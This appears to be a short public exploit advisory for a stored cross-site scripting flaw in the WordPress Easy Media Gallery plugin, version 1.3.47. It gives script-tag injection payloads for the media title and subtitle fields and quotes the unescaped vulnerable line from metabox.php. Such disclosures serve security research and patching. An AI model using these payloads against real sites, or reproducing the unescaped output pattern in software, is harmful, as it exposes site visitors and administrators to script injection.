<!-- # Exploit Title: Wordpress Easy Media Gallery Stored XSS # Date: 2015/9/05 # Exploit Author: Arash Khazaei # Vendor Homepage: https://wordpress.org/plugins/easy-media-gallery/ # Software Link: https://downloads.wordpress.org/plugin/easy-media-gallery.1.3.47.zip # Version: 1.3.47 # Tested on: Windows , Mozilla FireFox # CVE : N/A # Contact : twitter.com/Sec4U1 # Email : info@sec4u.net # Site : http://sec4u.net # Intrduction : # Wordpress Easy Media Gallery Plugin Have 10,000+ Active Install # And Suffer From A Stored XSS Vulnerability In Media Title & In Media Subtitle Sections. # Authors , Editors And Of Course Administrators Can Use This Vulnerability To Harm WebSite . --> Exploit : For Exploiting This Vulnerability Install Easy Media Gallery Plugin Then Create New Media In Media Title Input : "/><script>alert(&#039;Exploit&#039;)</script> Then In Media Subtitle Like Media Title Input : "/><script>alert(&#039;Exploit1&#039;)</script> After Creating New JavaScript Code Will Be Executed . Video Poc : http://youtu.be/5nMQUgP6nD4 Vulnerable Code in include/metabox.php [478]: <input type="text" name="easmedia_meta[&#039;. $field[&#039;id&#039;] .&#039;]" id="&#039;. $field[&#039;id&#039;] .&#039;" value="&#039;. ($meta ? $meta : $field[&#039;std&#039;]) .&#039;" size="30" /> <!-- Discovered By Arash Khazaei (Aka JunkyBoy) -->